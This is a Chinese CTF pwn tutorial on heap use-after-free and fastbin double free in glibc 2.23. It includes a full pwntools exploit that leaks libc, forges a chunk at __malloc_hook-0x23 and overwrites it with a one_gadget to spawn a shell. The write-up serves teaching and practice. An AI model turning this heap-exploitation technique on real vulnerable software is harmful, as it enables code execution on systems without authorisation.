[CTF]PWN--堆--UAF漏洞

啥是UAF?

UAF即Use After Free

简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

Double Free

在学习Double Free之前,需要先去了解一些堆的基本知识

堆的相关数据结构:

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/heap-structure/

堆的申请与释放:

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc/

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/implementation/free/

前情提要:

我们在调用malloc申请堆块的时候会先检查一个名为__malloc_hook的函数,在查看到其内部为NULL的时候才会正常运转,生成堆块

那有人问了:那如果__malloc_hook函数内不为NULL会如何呢?

当__malloc_hook内存有东西时,程序在申请堆块的时候就会跳转执行__malloc_hook里面的东西

这也是本期我们利用的重点

话又说回来

我们今天学习的利用方法是Double Free,顾名思义,就是对同一个堆块进行两次释放(free)

UAF漏洞存在是因为内存块被释放后,其对应的指针没有被设置为 NULL ,所以我们可以再次使用该堆块

我们可以两次free同一个堆块,又由于fastbins是管理在malloc_state结构体重的一串单向链表,上一个堆块的fd指针指向下一个堆块的地址,因此,我们可以将该堆块再一次申请出来,就可以对其进行修改,把它的fd指针改为malloc hook地址,随后再将malloc hook申请出来,就可以修改malloc hook地址里的东西了,我们可以把one_gadget的地址写入malloc hook,然后再申请一个堆块就会返回到one_gadget获取权限

纸上谈兵无法查验真假,让我们实践一下看看(其实以上理论并完全正确,请看下面实操)

例题(libc-2.23.so)

保护全开,64位,动态编译,IDA查看:

进入menu查看

可以看到,这是一道菜单题,让我们看看每个选项里都有啥

先看Add note,也就是malloc:

总共有两次读入,第一次读入定义堆块的大小,第二次读入填写堆块的内容,就是一个基本的申请堆块的代码

再看Delete note,也就是free:

可以看到,程序在对堆块进行free的时候并没有将其对应的指针设置为 NULL,这就是典型的UAF漏洞

最后是Print note:

主要部分就是一个puts函数,作用是将堆块内的东西打印出来

代码分析完,发现存在UAF漏洞,我们就可以通过double free的手法去获取权限

下面就开始写脚本(第一人称)

为了方便申请堆块,释放堆块以及打印堆块内容,我先是定义了三个函数

def add(i,j):
	p.recvuntil("Your choice :")
	p.sendline(str(1))
	p.recvuntil("Note size :")
	p.sendline(str(i))
	p.recvuntil("Content :")
	p.send(j)

def free(i):
	p.recvuntil("Your choice :")
	p.sendline(str(2))
	p.recvuntil("Index :")
	p.send(str(i))
	
def show(i):
	p.recvuntil("Your choice :")
	p.sendline(str(3))
	p.recvuntil("Index :")
	p.send(str(i))

我先是申请了几个堆块,其中一个堆块大小申请为0x80,这样程序就会给我们一个0x91的堆块,当堆块大小超过0x90的时候,释放的堆块就会进入unshort bin管理器,该堆块的fd与bk指针就会被修改为一个libc地址与一个栈地址,这时候接收一下fd指针上的libc地址,然后在debug界面使用vmmap指令查询到libc基址,随后求出基址与fd指针上的地址偏移,得出基址

脚本如下:

add(0x68,b'a')
add(0x80,b'a')
add(0x68,b'a')

free(1)
show(1)
libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-3951480
print(hex(libc_base))

由于申请的堆块下标由0开始,因此,在free0x80堆块的时候,应该是free(1)

这里有一点需要注意:

申请的0x80大小的堆块不能放在最后,因为当大于0x91的堆块free时与top chunk是贴着的,那么在free之后,这个堆块就不会进入unshort bin里去,而是与top chunk融合在了一起,因此这里我在0x80后又申请了一个0x68的堆块,一来隔绝了0x80与top chunk,二来,在后面使用double free的时候也有作用

接收完libc基址之后,我们就可以得到malloc hook的地址与one_gadget的地址

随后使用double free的手法

连续free两次同一个堆块,再申请一次同样大小的堆块,这样同一个堆块就分成了两个,一个被申请出来了,我们可以修改,还有一个还在fast bin里,我们只需要将malloc hook地址传进被申请出来的那个堆块里,对应的,在fast里的那个堆块内存也会被修改,malloc hook就会被当做堆块存进fast bin,这样一来,我们连续申请,就可以将malloc hook申请出来,我们就可以将one_gadget存进malloc hook里面,随后再申请一个堆块,程序识别到malloc hook里面有东西,就会跳转到one_gadget去执行,获取权限

理论虽是如此,但在调试的时候其实会出现两个问题

其一

我们连续free两次同一个堆块,程序会报错,因此我们无法连续free两次同一个堆块,这是程序本身的机制,与代码无关,那我们要如何去double free呢?其实很简单,只需要在两次free中间,再free一个不同的堆块即可绕过,这就是我上面说的在0x80后申请的0x68的堆块的作用

其二:

在将malloc hook地址传进被申请出来的那个堆块里的时候,其实也是会报错的,这是因为fast bin会检测堆块是否符合其存储大小(0x20~0x80),而malloc hook本身是为NULL的,因此程序会报错,其实这也好绕过,只需要在debug里使用x/32gx查看一下malloc hook上面的地址是什么样的,通常上面会有几个栈地址,而栈地址第一个字节刚好是0x7f,刚好满足fast bin的判断要求,我们计算一下偏移,使偏移后的地址size位刚好为7f即可,在将malloc hook地址传进被申请出来的那个堆块里的时候,改为将其上面那个偏移的地址传进去,在申请出来的时候将偏移填上即可

exp:

from pwn import*
context(os="linux",arch="amd64",log_level="debug")
p=process("./test2")
elf=ELF("./test2")
libc=ELF("/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
def bug():
	gdb.attach(p)
	pause()
def add(i,j):
	p.recvuntil("Your choice :")
	p.sendline(str(1))
	p.recvuntil("Note size :")
	p.sendline(str(i))
	p.recvuntil("Content :")
	p.send(j)

def free(i):
	p.recvuntil("Your choice :")
	p.sendline(str(2))
	p.recvuntil("Index :")
	p.send(str(i))
	
def show(i):
	p.recvuntil("Your choice :")
	p.sendline(str(3))
	p.recvuntil("Index :")
	p.send(str(i))

add(0x68,b'a')
add(0x80,b'a')
add(0x68,b'a')

free(1)
show(1)
libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-3951480
print(hex(libc_base))
one_gadget=libc_base+0xf1247
malloc=libc_base+libc.sym['__malloc_hook']

free(0)
free(2)
free(0)
add(0x68,p64(malloc-0x23))
add(0x68,b'a')
add(0x68,b'a')
add(0x68,b'a'*0x13+p64(one_gadget))

bug()

p.recvuntil("Your choice :")
p.sendline(str(1))
p.recvuntil("Note size :")
p.sendline(str(68))

p.interactive()

  • 26
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值